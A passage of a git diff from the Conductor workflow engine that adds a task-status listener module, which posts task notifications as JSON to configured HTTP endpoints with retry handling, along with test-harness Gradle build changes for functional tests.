exception + * + * @param exception The cause + * @param executionCount Retry attempt sequence number + * @param context {@link HttpContext} + * @return True if we want to retry request, false otherwise + */ + public boolean retryRequest( + IOException exception, int executionCount, HttpContext context) { + Throwable rootCause = ExceptionUtils.getRootCause(exception); + logger.warn( + "Retrying {} notification. Id: {}, root cause: {}", + notifType, + notifId, + rootCause.toString()); + + if (executionCount >= maxRetriesCount) { + logger.warn( + "{} notification failed after {} retries. Id: {} .", + notifType, + executionCount, + notifId); + return false; + } else if (rootCause instanceof SocketException + || rootCause instanceof InterruptedIOException + || exception instanceof SSLException) { + try { + Thread.sleep(retryIntervalInMilisec); + } catch (InterruptedException e) { + e.printStackTrace(); // do nothing + } + return true; + } else return false; + } + } + + /** + * Custom ServiceUnavailableRetryStrategy implementation to retry on HTTP 503 (= service + * unavailable) + */ + private class CustomServiceUnavailableRetryStrategy implements ServiceUnavailableRetryStrategy { + int maxRetriesCount = config.getRequestRetryCount(); + int retryIntervalInMilisec = config.getRequestRetryCountIntervalMs(); + + @Override + public boolean retryRequest( + final HttpResponse response, final int executionCount, final HttpContext context) { + + int httpStatusCode = response.getStatusLine().getStatusCode(); + if (httpStatusCode != 503) return false; // retry only on HTTP 503 + + if (executionCount >= maxRetriesCount) { + logger.warn( + "HTTP 503 error. {} notification failed after {} retries. Id: {} .", + notifType, + executionCount, + notifId); + return false; + } else { + logger.warn( + "HTTP 503 error. {} notification failed after {} retries. Id: {} .", + notifType, + executionCount, + notifId); + return true; + } + } + + @Override + public long getRetryInterval() { + // Retry interval between subsequent requests, in milliseconds. + // If not set, the default value is 1000 milliseconds. + return retryIntervalInMilisec; + } + } + + // By default retries 3 times + private CloseableHttpClient prepareClient() { + return HttpClients.custom() + .setConnectionManager(prepareConnManager()) + .setDefaultRequestConfig(prepareRequestConfig()) + .setRetryHandler(new CustomHttpRequestRetryHandler()) + .setServiceUnavailableRetryStrategy(new CustomServiceUnavailableRetryStrategy()) + .build(); + } + + public void postNotification( + RestClientManager.NotificationType notifType, + String data, + String id, + StatusNotifier statusNotifier) + throws IOException { + this.notifType = notifType.toString(); + notifId = id; + String url = prepareUrl(notifType, statusNotifier); + + Map headers = new HashMap<>(); + if (config.getHeaderPrefer() != "" && config.getHeaderPreferValue() != "") + headers.put(config.getHeaderPrefer(), config.getHeaderPreferValue()); + + HttpPost request = createPostRequest(url, data, headers); + long start = System.currentTimeMillis(); + executePost(request); + long duration = System.currentTimeMillis() - start; + if (duration > 100) { + logger.info("Round trip response time = {} millis", duration); + } + } + + private String prepareUrl( + RestClientManager.NotificationType notifType, StatusNotifier statusNotifier) { + String urlEndPoint = ""; + + if (notifType == RestClientManager.NotificationType.TASK) { + if (statusNotifier != null + && StringUtils.isNotBlank(statusNotifier.getEndpointTask())) { + urlEndPoint = statusNotifier.getEndpointTask(); + } else { + urlEndPoint = config.getEndpointTask(); + } + } else if (notifType == RestClientManager.NotificationType.WORKFLOW) { + if (statusNotifier != null + && StringUtils.isNotBlank(statusNotifier.getEndpointWorkflow())) { + urlEndPoint = statusNotifier.getEndpointWorkflow(); + } else { + urlEndPoint = config.getEndpointWorkflow(); + } + } + String url; + if (statusNotifier != null) { + url = statusNotifier.getUrl(); + } else { + url = config.getUrl(); + } + + return url + "/" + urlEndPoint; + } + + private HttpPost createPostRequest(String url, String data, Map headers) + throws IOException { + HttpPost httpPost = new HttpPost(url); + StringEntity entity = new StringEntity(data); + httpPost.setEntity(entity); + httpPost.setHeader("Accept", "application/json"); + httpPost.setHeader("Content-type", "application/json"); + headers.forEach(httpPost::setHeader); + return httpPost; + } + + private void executePost(HttpPost httpPost) throws IOException { + try (CloseableHttpResponse response = client.execute(httpPost)) { + int sc = response.getStatusLine().getStatusCode(); + if (!(sc == HttpStatus.SC_ACCEPTED || sc == HttpStatus.SC_OK)) { + throw new ClientProtocolException("Unexpected response status: " + sc); + } + } finally { + httpPost.releaseConnection(); // Release the connection gracefully so the connection can + // be reused by connection manager + } + } +} diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifier.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifier.java new file mode 100644 index 0000000..47675dd --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifier.java @@ -0,0 +1,46 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +public class StatusNotifier { + + private String url; + + private String endpointTask; + + private String endpointWorkflow; + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getEndpointTask() { + return endpointTask; + } + + public void setEndpointTask(String endpointTask) { + this.endpointTask = endpointTask; + } + + public String getEndpointWorkflow() { + return endpointWorkflow; + } + + public void setEndpointWorkflow(String endpointWorkflow) { + this.endpointWorkflow = endpointWorkflow; + } +} diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifierNotificationProperties.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifierNotificationProperties.java new file mode 100644 index 0000000..0bff115 --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifierNotificationProperties.java @@ -0,0 +1,164 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +import java.util.List; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.status-notifier.notification") +public class StatusNotifierNotificationProperties { + + private String url; + + private String endpointTask; + + /* + * TBD: list of Task status we are interested in + */ + private List subscribedTaskStatuses; + + private String endpointWorkflow; + + private List subscribedWorkflowStatuses; + + private String headerPrefer = ""; + + private String headerPreferValue = ""; + + private int requestTimeOutMsConnect = 100; + + private int requestTimeoutMsread = 300; + + private int requestTimeoutMsConnMgr = 300; + + private int requestRetryCount = 3; + + private int requestRetryCountIntervalMs = 50; + + private int connectionPoolMaxRequest = 3; + + private int connectionPoolMaxRequestPerRoute = 3; + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getEndpointTask() { + return endpointTask; + } + + public void setEndpointTask(String endpointTask) { + this.endpointTask = endpointTask; + } + + public String getEndpointWorkflow() { + return endpointWorkflow; + } + + public void setEndpointWorkflow(String endpointWorkflow) { + this.endpointWorkflow = endpointWorkflow; + } + + public String getHeaderPrefer() { + return headerPrefer; + } + + public void setHeaderPrefer(String headerPrefer) { + this.headerPrefer = headerPrefer; + } + + public String getHeaderPreferValue() { + return headerPreferValue; + } + + public void setHeaderPreferValue(String headerPreferValue) { + this.headerPreferValue = headerPreferValue; + } + + public int getRequestTimeOutMsConnect() { + return requestTimeOutMsConnect; + } + + public void setRequestTimeOutMsConnect(int requestTimeOutMsConnect) { + this.requestTimeOutMsConnect = requestTimeOutMsConnect; + } + + public int getRequestTimeoutMsread() { + return requestTimeoutMsread; + } + + public void setRequestTimeoutMsread(int requestTimeoutMsread) { + this.requestTimeoutMsread = requestTimeoutMsread; + } + + public int getRequestTimeoutMsConnMgr() { + return requestTimeoutMsConnMgr; + } + + public void setRequestTimeoutMsConnMgr(int requestTimeoutMsConnMgr) { + this.requestTimeoutMsConnMgr = requestTimeoutMsConnMgr; + } + + public int getRequestRetryCount() { + return requestRetryCount; + } + + public void setRequestRetryCount(int requestRetryCount) { + this.requestRetryCount = requestRetryCount; + } + + public int getRequestRetryCountIntervalMs() { + return requestRetryCountIntervalMs; + } + + public void setRequestRetryCountIntervalMs(int requestRetryCountIntervalMs) { + this.requestRetryCountIntervalMs = requestRetryCountIntervalMs; + } + + public int getConnectionPoolMaxRequest() { + return connectionPoolMaxRequest; + } + + public void setConnectionPoolMaxRequest(int connectionPoolMaxRequest) { + this.connectionPoolMaxRequest = connectionPoolMaxRequest; + } + + public int getConnectionPoolMaxRequestPerRoute() { + return connectionPoolMaxRequestPerRoute; + } + + public void setConnectionPoolMaxRequestPerRoute(int connectionPoolMaxRequestPerRoute) { + this.connectionPoolMaxRequestPerRoute = connectionPoolMaxRequestPerRoute; + } + + public List getSubscribedTaskStatuses() { + return subscribedTaskStatuses; + } + + public void setSubscribedTaskStatuses(List subscribedTaskStatuses) { + this.subscribedTaskStatuses = subscribedTaskStatuses; + } + + public List getSubscribedWorkflowStatuses() { + return subscribedWorkflowStatuses; + } + + public void setSubscribedWorkflowStatuses(List subscribedWorkflowStatuses) { + this.subscribedWorkflowStatuses = subscribedWorkflowStatuses; + } +} diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskNotification.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskNotification.java new file mode 100644 index 0000000..3098e42 --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskNotification.java @@ -0,0 +1,108 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.TaskSummary; + +import com.fasterxml.jackson.annotation.JsonFilter; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.ser.FilterProvider; +import com.fasterxml.jackson.databind.ser.impl.SimpleBeanPropertyFilter; +import com.fasterxml.jackson.databind.ser.impl.SimpleFilterProvider; + +@JsonFilter("SecretRemovalFilter") +public class TaskNotification extends TaskSummary { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskStatusPublisher.class); + + public String workflowTaskType; + + /** + * Following attributes doesnt exist in TaskSummary so add it here. Not adding in TaskSummary as + * it belongs to conductor-common + */ + private String referenceTaskName; + + private int retryCount; + + private String taskDescription; + + private ObjectMapper objectMapper = new ObjectMapper(); + + public String getReferenceTaskName() { + return referenceTaskName; + } + + public int getRetryCount() { + return retryCount; + } + + public String getTaskDescription() { + return taskDescription; + } + + public TaskNotification(Task task) { + super(task); + + referenceTaskName = task.getReferenceTaskName(); + retryCount = task.getRetryCount(); + taskDescription = task.getWorkflowTask().getDescription(); + + workflowTaskType = task.getWorkflowTask().getType(); + + boolean isFusionMetaPresent = task.getInputData().containsKey("_ioMeta"); + if (!isFusionMetaPresent) { + return; + } + } + + String toJsonString() { + String jsonString; + SimpleBeanPropertyFilter theFilter = + SimpleBeanPropertyFilter.serializeAllExcept("input", "output"); + FilterProvider provider = + new SimpleFilterProvider().addFilter("SecretRemovalFilter", theFilter); + try { + jsonString = objectMapper.writer(provider).writeValueAsString(this); + } catch (JsonProcessingException e) { + LOGGER.error("Failed to convert Task: {} to String. Exception: {}", this, e); + throw new RuntimeException(e); + } + return jsonString; + } + + /* + * https://github.com/Netflix/conductor/pull/2128 + * To enable Workflow/Task Summary Input/Output JSON Serialization, use the following: + * conductor.app.summary-input-output-json-serialization.enabled=true + */ + String toJsonStringWithInputOutput() { + String jsonString; + try { + SimpleBeanPropertyFilter emptyFilter = SimpleBeanPropertyFilter.serializeAllExcept(); + FilterProvider provider = + new SimpleFilterProvider().addFilter("SecretRemovalFilter", emptyFilter); + + jsonString = objectMapper.writer(provider).writeValueAsString(this); + } catch (JsonProcessingException e) { + LOGGER.error("Failed to convert Task: {} to String. Exception: {}", this, e); + throw new RuntimeException(e); + } + return jsonString; + } +} diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisher.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisher.java new file mode 100644 index 0000000..9cc8ea1 --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisher.java @@ -0,0 +1,202 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +import java.io.IOException; +import java.util.List; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingDeque; + +import javax.inject.Inject; +import javax.inject.Singleton; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.model.TaskModel; + +@Singleton +public class TaskStatusPublisher implements TaskStatusListener { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskStatusPublisher.class); + private static final Integer QDEPTH = + Integer.parseInt( + System.getenv().getOrDefault("ENV_TASK_NOTIFICATION_QUEUE_SIZE", "50")); + private BlockingQueue blockingQueue = new LinkedBlockingDeque<>(QDEPTH); + + private RestClientManager rcm; + private ExecutionDAOFacade executionDAOFacade; + private List subscribedTaskStatusList; + + class ExceptionHandler implements Thread.UncaughtExceptionHandler { + public void uncaughtException(Thread t, Throwable e) { + LOGGER.info("An exception has been captured\n"); + LOGGER.info("Thread: {}\n", t.getName()); + LOGGER.info("Exception: {}: {}\n", e.getClass().getName(), e.getMessage()); + LOGGER.info("Stack Trace: \n"); + e.printStackTrace(System.out); + LOGGER.info("Thread status: {}\n", t.getState()); + new ConsumerThread().start(); + } + } + + class ConsumerThread extends Thread { + + public void run() { + this.setUncaughtExceptionHandler(new ExceptionHandler()); + String tName = Thread.currentThread().getName(); + LOGGER.info("{}: Starting consumer thread", tName); + TaskModel task = null; + TaskNotification taskNotification = null; + while (true) { + try { + task = blockingQueue.take(); + taskNotification = new TaskNotification(task.toTask()); + String jsonTask = taskNotification.toJsonString(); + LOGGER.info("Publishing TaskNotification: {}", jsonTask); + if (taskNotification.getTaskType().equals("SUB_WORKFLOW")) { + LOGGER.info( + "Skip task '{}' notification. Task type is SUB_WORKFLOW.", + taskNotification.getTaskId()); + continue; + } + publishTaskNotification(taskNotification); + LOGGER.debug("Task {} publish is successful.", taskNotification.getTaskId()); + Thread.sleep(5); + } catch (Exception e) { + if (taskNotification != null) { + LOGGER.error( + "Error while publishing task. Hence updating elastic search index taskId {} taskname {}", + task.getTaskId(), + task.getTaskDefName()); + // TBD executionDAOFacade.indexTask(task); + + } else { + LOGGER.error("Failed to publish task: Task is NULL"); + } + LOGGER.error("Error on publishing ", e); + } + } + } + } + + @Inject + public TaskStatusPublisher( + RestClientManager rcm, + ExecutionDAOFacade executionDAOFacade, + List subscribedTaskStatuses) { + this.rcm = rcm; + this.executionDAOFacade = executionDAOFacade; + this.subscribedTaskStatusList = subscribedTaskStatuses; + validateSubscribedTaskStatuses(subscribedTaskStatuses); + ConsumerThread consumerThread = new ConsumerThread(); + consumerThread.start(); + } + + private void validateSubscribedTaskStatuses(List subscribedTaskStatuses) { + for (String taskStausType : subscribedTaskStatuses) { + if (!taskStausType.equals("SCHEDULED")) { + LOGGER.error( + "Task Status Type {} will only push notificaitons when updated through the API. Automatic notifications only work for SCHEDULED type.", + taskStausType); + } + } + } + + private void enqueueTask(TaskModel task) { + try { + blockingQueue.put(task); + } catch (Exception e) { + LOGGER.debug( + "Failed to enqueue task: Id {} Type {} of workflow {} ", + task.getTaskId(), + task.getTaskType(), + task.getWorkflowInstanceId()); + LOGGER.debug(e.toString()); + } + } + + @Override + public void onTaskScheduled(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.SCHEDULED.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskCanceled(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.CANCELED.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskCompleted(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.COMPLETED.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskCompletedWithErrors(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.COMPLETED_WITH_ERRORS.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskFailed(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.FAILED.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskFailedWithTerminalError(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskInProgress(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.IN_PROGRESS.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskSkipped(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.SKIPPED.name())) { + enqueueTask(task); + } + } + + @Override + public void onTaskTimedOut(TaskModel task) { + if (subscribedTaskStatusList.contains(TaskModel.Status.TIMED_OUT.name())) { + enqueueTask(task); + } + } + + private void publishTaskNotification(TaskNotification taskNotification) throws IOException { + String jsonTask = taskNotification.toJsonStringWithInputOutput(); + rcm.postNotification( + RestClientManager.NotificationType.TASK, + jsonTask, + taskNotification.getTaskId(), + null); + } +} diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisherConfiguration.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisherConfiguration.java new file mode 100644 index 0000000..d73e865 --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisherConfiguration.java @@ -0,0 +1,36 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.listener.TaskStatusListener; + +@Configuration +@EnableConfigurationProperties(StatusNotifierNotificationProperties.class) +@ConditionalOnProperty(name = "conductor.task-status-listener.type", havingValue = "task_publisher") +public class TaskStatusPublisherConfiguration { + + @Bean + public TaskStatusListener getTaskStatusListener( + RestClientManager rcm, + ExecutionDAOFacade executionDAOFacade, + StatusNotifierNotificationProperties config) { + + return new TaskStatusPublisher(rcm, executionDAOFacade, config.getSubscribedTaskStatuses()); + } +} diff --git a/test-harness/build.gradle b/test-harness/build.gradle new file mode 100644 index 0000000..6acbc92 --- /dev/null +++ b/test-harness/build.gradle @@ -0,0 +1,233 @@ +apply plugin: 'groovy' + +dependencies { + testImplementation project(':conductor-server') + testImplementation project(':conductor-common') + testImplementation project(':conductor-rest') + testImplementation project(':conductor-core') + testImplementation project(':conductor-redis-persistence') + testImplementation project(':conductor-cassandra-persistence') + testImplementation project(':conductor-es7-persistence') + testImplementation project(':conductor-grpc-server') + testImplementation project(':conductor-grpc-client') + testImplementation project(':conductor-json-jq-task') + testImplementation project(':conductor-http-task') + testImplementation project(':conductor-scheduler-core') + testImplementation project(':conductor-ai') + + testImplementation "org.conductoross:conductor-client:${revConductorClient}" + + testImplementation "org.springframework.retry:spring-retry" + + testImplementation "com.fasterxml.jackson.core:jackson-databind:${revFasterXml}" + testImplementation "com.fasterxml.jackson.core:jackson-core:${revFasterXml}" + + testImplementation "org.apache.commons:commons-lang3" + + testImplementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + testImplementation "com.google.guava:guava:${revGuava}" + testImplementation "org.springframework:spring-web" + + testImplementation "redis.clients:jedis:${revJedis}" + implementation "io.orkes.queues:orkes-conductor-queues:${revOrkesQueues}" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + + testImplementation "org.elasticsearch.client:elasticsearch-rest-client:${revElasticSearch7}" + testImplementation "org.elasticsearch.client:elasticsearch-rest-high-level-client:${revElasticSearch7}" + + testImplementation "org.testcontainers:elasticsearch:${revTestContainer}" + testImplementation "org.testcontainers:localstack:${revTestContainer}" + testImplementation "org.testcontainers:spock:${revTestContainer}" + testImplementation('junit:junit:4.13.2') + testImplementation "org.junit.vintage:junit-vintage-engine" + testImplementation "jakarta.ws.rs:jakarta.ws.rs-api:${revJAXRS}" + testImplementation "org.glassfish.jersey.core:jersey-common:${revJerseyCommon}" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "io.projectreactor.netty:reactor-netty-http:${revReactor}" + testImplementation "io.projectreactor.netty:reactor-netty-core:${revReactor}" + + // S3 and AWS dependencies for LocalStack testing + testImplementation project(':conductor-awss3-storage') + testImplementation project(':conductor-azureblob-storage') + testImplementation("com.azure:azure-storage-blob:${revAzureStorageBlobSdk}") { + // Use the JDK HTTP client provider for tests; default azure-core-http-netty needs + // a netty version that conflicts with the one already on the test-harness classpath. + exclude group: 'com.azure', module: 'azure-core-http-netty' + } + testImplementation 'com.azure:azure-core-http-jdk-httpclient:1.0.3' + testImplementation 'com.google.cloud:google-cloud-storage:2.36.1' + testImplementation 'com.google.http-client:google-http-client:1.44.1' + testImplementation project(':conductor-gcs-storage') + testImplementation project(':conductor-local-file-storage') + testImplementation project(':conductor-awssqs-event-queue') + testImplementation project(':conductor-workflow-event-listener') + testImplementation "software.amazon.awssdk:s3:${revAwsSdk}" + testImplementation "software.amazon.awssdk:sts:${revAwsSdk}" + testImplementation "software.amazon.awssdk:sqs:${revAwsSdk}" + testImplementation "commons-io:commons-io:${revCommonsIo}" +} + +tasks.withType(Test) { + maxParallelForks = 1 +} + +// File-storage backend integration tests (S3/Azure/GCS) require Docker. Exclude +// from the default :test task and expose them under a dedicated task instead. +tasks.named('test') { + useJUnitPlatform { + excludeTags 'file-storage-integration' + } +} + +task fileStorageIntegrationTest(type: Test) { + description = 'Integration tests for S3/Azure/GCS file-storage backends (requires Docker)' + group = 'verification' + testClassesDirs = sourceSets.test.output.classesDirs + classpath = sourceSets.test.runtimeClasspath + useJUnitPlatform { + includeTags 'file-storage-integration' + } + maxParallelForks = 1 +} + +// Spotless cannot format files outside the project dir. The functionalTest source set +// references e2e sources directly, so restrict Spotless to project-local sources only. +afterEvaluate { + spotless { + java { + target sourceSets + .matching { it.name != 'functionalTest' } + .collect { it.java } + .flatten() + } + } +} + +// --------------------------------------------------------------------------- +// Functional test source set — compiles and runs the e2e tests against an +// embedded Conductor server (Spring Boot + TestContainers for Redis & ES). +// +// PINNED (#964): conductor-client must stay at 5.0.1 for the functional tests. +// conductor-client:5.0.1 is a fat JAR that bundles com.netflix.conductor.common.* +// classes which shadow the project's own conductor-common module and cause +// NoSuchMethodError at runtime. We solve this by creating a "stripped" JAR that +// removes the conflicting com/netflix/conductor/common/ classes, keeping the +// client API, SDK, and org.conductoross model classes intact. +// --------------------------------------------------------------------------- + +// Resolve conductor-client:5.0.1 in isolation (non-transitive, bypass Spring dep mgmt) +configurations { + conductorClientRaw { + resolutionStrategy.eachDependency { details -> + if (details.requested.group == 'org.conductoross' + && details.requested.name == 'conductor-client') { + details.useVersion '5.0.1' + } + } + } +} + +dependencies { + conductorClientRaw('org.conductoross:conductor-client:5.0.1') { transitive = false } +} + +// Strip bundled com.netflix.conductor.common.* classes from the fat JAR. +// These conflict with the project's own conductor-common module. +task stripConductorClient(type: Jar) { + archiveBaseName = 'conductor-client-5.0.1-stripped' + destinationDirectory = layout.buildDirectory.dir('stripped-libs') + duplicatesStrategy = DuplicatesStrategy.EXCLUDE + from(zipTree(configurations.conductorClientRaw.singleFile)) { + exclude 'com/netflix/conductor/common/**' + } +} + +sourceSets { + functionalTest { + java { + srcDirs = [ + project(':conductor-e2e').file('src/test/java'), + 'src/functionalTest/java' + ] + } + resources { + srcDirs = [ + project(':conductor-e2e').file('src/test/resources'), + 'src/functionalTest/resources' + ] + } + compileClasspath += sourceSets.main.output + sourceSets.test.output + runtimeClasspath += sourceSets.main.output + sourceSets.test.output + } +} + +configurations { + functionalTestImplementation.extendsFrom testImplementation + functionalTestRuntimeOnly.extendsFrom testRuntimeOnly + + // Remove the original conductor-client (fat JAR) from the functionalTest classpath. + // The stripped version (file dependency below) replaces it. + functionalTestCompileClasspath { + exclude group: 'org.conductoross', module: 'conductor-client' + } + functionalTestRuntimeClasspath { + exclude group: 'org.conductoross', module: 'conductor-client' + } + + // PINNED (#964): e2e tests require Awaitility 4.x — they call pollInterval(Duration) + // which was added in 4.0. The main test-harness uses revAwaitility (3.x). This override + // applies only to the functionalTest classpath. + [functionalTestCompileClasspath, functionalTestRuntimeClasspath].each { cfg -> + cfg.resolutionStrategy.eachDependency { details -> + if (details.requested.group == 'org.awaitility' + && details.requested.name == 'awaitility') { + details.useVersion '4.2.0' + details.because 'e2e tests use pollInterval(Duration) added in 4.x' + } + } + } +} + +dependencies { + // Stripped conductor-client:5.0.1 (without bundled common classes) + functionalTestImplementation files(stripConductorClient) + + // JUnit 5 (e2e tests are Jupiter-based) + functionalTestImplementation 'org.junit.jupiter:junit-jupiter-api' + functionalTestRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine' + functionalTestImplementation 'org.junit.jupiter:junit-jupiter-params' + + // Lombok (used by e2e test classes) + functionalTestCompileOnly 'org.projectlombok:lombok:1.18.30' + functionalTestAnnotationProcessor 'org.projectlombok:lombok:1.18.30' + + // Awaitility 4.x (e2e uses 4.2.0; test-harness has 3.x) + functionalTestImplementation 'org.awaitility:awaitility:4.2.0' + + // Commons used by e2e utilities + functionalTestImplementation 'org.apache.commons:commons-lang3:3.14.0' + functionalTestImplementation 'org.apache.commons:commons-compress:1.26.1' +} + +task functionalTest(type: Test) { + description = 'Runs e2e functional tests against an embedded Conductor server with Redis + ES' + group = 'verification' + testClassesDirs = sourceSets.functionalTest.output.classesDirs + classpath = sourceSets.functionalTest.runtimeClasspath + useJUnitPlatform() + maxParallelForks = 1 + minHeapSize = '512m' + maxHeapSize = '2g' + testLogging { + events = ['SKIPPED', 'FAILED'] + exceptionFormat = 'short' + showStandardStreams = true + } + // Exclude load/stress tests that are too heavy for the embedded server + filter { + excludeTestsMatching 'io.conductor.e2e.processing.SetVariableTests.testAllFast' + } +} diff --git a/test-harness/src/functionalTest/java/com/netflix/conductor/test/functional/FunctionalInfraExtension.java b/test-harness/src/functionalTest/java/com/netflix/conductor/test/functional/FunctionalInfraExtension.java new file mode 100644 index 0000000..f4ff0c7 --- /dev/null +++ b/test-harness/src/functionalTest/java/com/netflix/conductor/test/functional/FunctionalInfraExtension.java @@ -0,0 +1,111 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.functional; + +import org.junit.jupiter.api.extension.BeforeAllCallback; +import org.junit.jupiter.api.extension.ExtensionContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.SpringApplication; +import org.springframework.context.ConfigurableApplicationContext; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.ConductorTestApp; + +/** + * JUnit 5 global extension that starts Redis + Elasticsearch containers and an embedded Conductor + * server before any e2e test class runs. + * + *

